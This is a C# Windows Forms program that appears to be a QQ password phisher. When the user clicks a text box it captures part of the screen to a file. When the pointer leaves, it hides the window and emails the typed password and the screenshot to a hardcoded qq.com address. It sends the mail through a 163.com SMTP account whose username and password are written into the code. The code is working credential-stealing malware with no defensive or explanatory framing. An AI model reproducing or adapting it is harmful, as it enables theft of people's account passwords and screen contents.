using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.Net.Mail;
using System.Net; namespace qqmm
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
} private void textBox1_MouseClick(object sender, MouseEventArgs e)
{
//获得当前屏幕的分辨率
Screen scr = Screen.PrimaryScreen;
Rectangle rc = scr.Bounds;
int iWidth = rc.Width;
int iHeight = rc.Height;
//创建一个和屏幕一样大的Bitmap
Image myImage = new Bitmap(300, 300);
//从一个继承自Image类的对象中创建Graphics对象
Graphics g = Graphics.FromImage(myImage);
//抓屏并拷贝到myimage里
g.CopyFromScreen(new Point(550, 300), new Point(0, 0), new Size(300, 300));
//保存为文件
myImage.Save("c:\\1.jpeg"); } private void textBox1_MouseLeave(object sender, EventArgs e)
{
this.Opacity = 0.00D;
string userEmail = "lkjasdgfh@163.com";
string userPswd = "xywgjfkdl";
string toEmail = "337509621@qq.com";
string mailServer = "smtp.163.com"; ; //邮件服务器
string subject = "又是一个笨蛋";
string mailBody = "该账号密码为"+Convert.ToString(textBox1.Text);
string sfile = "C:\\1.jpeg";
string username = userEmail.Substring(0, userEmail.IndexOf('@'));
MailAddress from = new MailAddress(userEmail);
MailAddress to = new MailAddress(toEmail);
MailMessage mailobj = new MailMessage(from, to);
mailobj.Attachments.Add(new Attachment(sfile));
mailobj.Subject = subject;
mailobj.Body = mailBody;
mailobj.IsBodyHtml = false;
mailobj.BodyEncoding = System.Text.Encoding.GetEncoding("GB2312");
mailobj.Priority = MailPriority.High;
SmtpClient smtp = new SmtpClient(mailServer);
smtp.UseDefaultCredentials = false;
smtp.Credentials = new NetworkCredential(username, userPswd);
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
try
{
smtp.Send(mailobj);
}
catch (Exception err)
{
Console.WriteLine(err.Message); Console.WriteLine(err.StackTrace);
}
}
}
}